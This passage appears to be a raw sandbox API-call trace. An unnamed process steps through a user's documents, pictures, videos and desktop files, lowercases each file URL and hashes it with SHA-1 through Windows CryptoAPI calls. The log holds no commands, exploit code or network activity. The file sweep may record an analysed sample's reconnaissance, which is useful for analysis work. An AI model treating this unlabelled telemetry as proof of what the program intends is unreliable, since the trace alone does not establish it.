	[0099.122] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.122] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.123] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.123] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 0x6e
	[0099.123] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt"
	[0099.123] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.123] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 0x6e
	[0099.123] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xde, dwFlags=0x0) returned 1
	[0099.123] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.123] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.123] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 0x6e
	[0099.123] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.123] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt/") returned 0x6f
	[0099.123] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe0, dwFlags=0x0) returned 1
	[0099.123] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.123] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.123] wcslen (_String="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 0x33
	[0099.123] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx" | out: _String="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx"
	[0099.123] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.123] wcslen (_String="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 0x33
	[0099.123] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.123] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.124] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.124] wcslen (_String="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 0x33
	[0099.124] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.124] wcslen (_String="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx/") returned 0x34
	[0099.124] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.124] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.124] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.124] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 0x6f
	[0099.124] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc"
	[0099.124] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.124] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 0x6f
	[0099.124] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe0, dwFlags=0x0) returned 1
	[0099.124] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.124] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.124] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 0x6f
	[0099.124] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.124] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc/") returned 0x70
	[0099.124] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xe2, dwFlags=0x0) returned 1
	[0099.124] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.124] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 0x4a
	[0099.125] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp"
	[0099.125] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 0x4a
	[0099.125] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x96, dwFlags=0x0) returned 1
	[0099.125] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.125] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 0x4a
	[0099.125] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp/") returned 0x4b
	[0099.125] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x98, dwFlags=0x0) returned 1
	[0099.125] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.125] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 0x46
	[0099.125] _wcslwr (in: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv" | out: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv"
	[0099.125] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 0x46
	[0099.125] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x8e, dwFlags=0x0) returned 1
	[0099.125] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.125] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 0x46
	[0099.125] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.125] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv/") returned 0x47
	[0099.125] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x90, dwFlags=0x0) returned 1
	[0099.125] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.126] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.126] wcslen (_String="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 0x34
	[0099.126] _wcslwr (in: _String="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv" | out: _String="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv"
	[0099.126] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.126] wcslen (_String="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 0x34
	[0099.126] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.126] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.126] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.126] wcslen (_String="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 0x34
	[0099.126] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.126] wcslen (_String="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv/") returned 0x35
	[0099.126] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0099.126] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.126] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.126] wcslen (_String="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 0x34
	[0099.126] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc" | out: _String="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc"
	[0099.126] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.126] wcslen (_String="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 0x34
	[0099.126] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0099.126] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.127] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.127] wcslen (_String="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 0x34
	[0099.127] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.127] wcslen (_String="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc/") returned 0x35
	[0099.127] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0099.127] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.127] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.127] wcslen (_String="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 0x3a
	[0099.127] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png" | out: _String="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png"
	[0099.127] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.127] wcslen (_String="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 0x3a
	[0099.127] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.127] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.127] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.127] wcslen (_String="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 0x3a
	[0099.127] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.127] wcslen (_String="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png/") returned 0x3b
	[0099.127] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.127] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.127] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.127] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 0x4b
	[0099.127] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx"
	[0099.128] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.128] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 0x4b
	[0099.128] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x98, dwFlags=0x0) returned 1
	[0099.128] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.128] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.128] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 0x4b
	[0099.128] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.128] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx/") returned 0x4c
	[0099.128] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x9a, dwFlags=0x0) returned 1
	[0099.128] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.128] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.128] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 0x6c
	[0099.128] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png"
	[0099.128] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.128] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 0x6c
	[0099.128] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xda, dwFlags=0x0) returned 1
	[0099.128] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.128] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.128] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 0x6c
	[0099.128] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.128] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png/") returned 0x6d
	[0099.128] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xdc, dwFlags=0x0) returned 1
	[0099.128] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.129] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.129] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 0x67
	[0099.129] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp"
	[0099.129] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.129] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 0x67
	[0099.129] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd0, dwFlags=0x0) returned 1
	[0099.129] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.129] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.129] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 0x67
	[0099.129] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.129] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp/") returned 0x68
	[0099.129] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd2, dwFlags=0x0) returned 1
	[0099.129] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.129] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.129] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 0x69
	[0099.129] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif"
	[0099.129] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.129] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 0x69
	[0099.129] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd4, dwFlags=0x0) returned 1
	[0099.129] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.129] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.129] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 0x69
	[0099.130] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.130] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif/") returned 0x6a
	[0099.130] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xd6, dwFlags=0x0) returned 1
	[0099.130] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.130] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.130] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 0x47
	[0099.130] _wcslwr (in: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv" | out: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv"
	[0099.130] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.130] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 0x47
	[0099.130] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x90, dwFlags=0x0) returned 1
	[0099.130] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.130] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.130] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 0x47
	[0099.130] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.130] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv/") returned 0x48
	[0099.130] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x92, dwFlags=0x0) returned 1
	[0099.130] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.130] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.130] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 0x48
	[0099.130] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf"
	[0099.130] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
